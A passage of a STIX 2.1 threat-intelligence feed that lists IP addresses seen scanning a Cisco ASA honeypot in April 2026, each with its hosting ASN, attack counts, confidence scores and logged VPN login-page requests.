        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.89.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T15:20:10.000Z",
      "valid_until": "2026-05-10T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-08T14:37:24.299Z",
          "last_seen": "2026-04-27T09:20:18.402Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ce5508f1-6a46-4d3d-b91a-4e74867abbe3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T15:20:10.000Z",
      "valid_until": "2026-05-10T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-08T15:06:26.089Z",
          "last_seen": "2026-04-29T20:21:46.180Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--fd92cd6d-f236-411d-8358-f226f7904456",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T15:20:10.000Z",
      "valid_until": "2026-05-10T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 27,
          "first_seen": "2026-04-08T14:45:31.612Z",
          "last_seen": "2026-04-30T02:08:02.564Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--a45a7af9-9c2e-4cff-8981-2b3ce420cb63",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.81.231.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:20:10.000Z",
      "valid_until": "2026-05-10T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-08T15:40:48.146Z",
          "last_seen": "2026-04-30T03:07:47.724Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--d645a638-0e90-4750-85ea-8733df7b2fc6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '138.199.43.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:20:10.000Z",
      "valid_until": "2026-05-10T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-08T16:17:48.328Z",
          "last_seen": "2026-04-30T01:47:57.835Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 6233 (xTom)",
      "id": "indicator--6f1b1df0-364f-4e4e-96fb-5850cf7924ff",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.147.89.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:20:10.000Z",
      "valid_until": "2026-05-10T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-08T15:57:08.713Z",
          "last_seen": "2026-04-08T15:57:16.404Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6233,
          "as_org": "xTom",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--45072b46-70bc-4485-aec2-876bb19c6001",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.244.47.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:20:10.000Z",
      "valid_until": "2026-05-10T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 13,
          "first_seen": "2026-04-08T16:01:58.114Z",
          "last_seen": "2026-04-18T19:42:20.881Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--f4d0a9cf-63fb-45ab-8d0c-624cb0cd8351",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:20:10.000Z",
      "valid_until": "2026-05-10T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-08T15:45:58.125Z",
          "last_seen": "2026-04-18T01:52:29.303Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--ad61d9b9-e060-4aac-a87f-51ba1efcdf07",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:20:10.000Z",
      "valid_until": "2026-05-10T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-08T15:42:24.834Z",
          "last_seen": "2026-04-19T07:17:07.008Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 395092 (Shock Hosting LLC)",
      "id": "indicator--959b95be-56c4-4f4c-afec-769862866bed",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.96.137.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:20:10.000Z",
      "valid_until": "2026-05-10T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 347,
          "first_seen": "2026-04-08T16:04:23.490Z",
          "last_seen": "2026-04-20T00:21:55.115Z",
          "country": "United States",
          "country_code": "US",
          "asn": 395092,
          "as_org": "Shock Hosting LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--aeceafce-b507-47b5-8f5a-91c3bdfc63c9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.101.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:20:10.000Z",
      "valid_until": "2026-05-10T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-08T15:26:01.284Z",
          "last_seen": "2026-04-24T19:04:53.402Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--da79988e-5f2e-4d55-97c7-d85f56f86aec",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.108.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:20:10.000Z",
      "valid_until": "2026-05-10T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-08T16:13:11.488Z",
          "last_seen": "2026-04-29T16:42:15.606Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--23fa7fbe-02b7-461c-96de-25150cb513e6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.109.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:20:10.000Z",
      "valid_until": "2026-05-10T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-08T15:22:08.516Z",
          "last_seen": "2026-04-29T13:13:10.045Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a8140fcd-3839-4db7-af8b-90481b6e04c1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.74.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:20:10.000Z",
      "valid_until": "2026-05-10T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-08T15:25:00.934Z",
          "last_seen": "2026-04-13T07:49:06.623Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4dd019ef-eb57-4cca-a74d-10131c38c26a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.75.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:20:10.000Z",
      "valid_until": "2026-05-10T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-08T16:17:34.024Z",
          "last_seen": "2026-04-25T09:52:03.635Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--58341353-6e2d-45ed-95e6-84d3bc7a0593",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.79.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:20:10.000Z",
      "valid_until": "2026-05-10T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-08T15:41:32.817Z",
          "last_seen": "2026-04-29T11:35:23.512Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ab0284df-f256-4ee4-a678-f257497f976d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.91.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:20:10.000Z",
      "valid_until": "2026-05-10T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-08T15:59:51.739Z",
          "last_seen": "2026-04-18T00:53:47.013Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--35868fa5-d330-4192-99c3-1ae00762d136",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.92.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:20:10.000Z",
      "valid_until": "2026-05-10T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-08T15:24:42.184Z",
          "last_seen": "2026-04-25T08:05:52.647Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--657287dc-6f41-4fd9-89fc-1d274638491a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.93.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:20:10.000Z",
      "valid_until": "2026-05-10T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-08T16:01:11.427Z",
          "last_seen": "2026-04-23T02:33:07.289Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--46664c38-6838-4bee-a658-5351444a5cda",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.95.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:20:10.000Z",
      "valid_until": "2026-05-10T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-08T16:16:11.212Z",
          "last_seen": "2026-04-21T05:07:44.898Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-08T16:20:10.000Z",
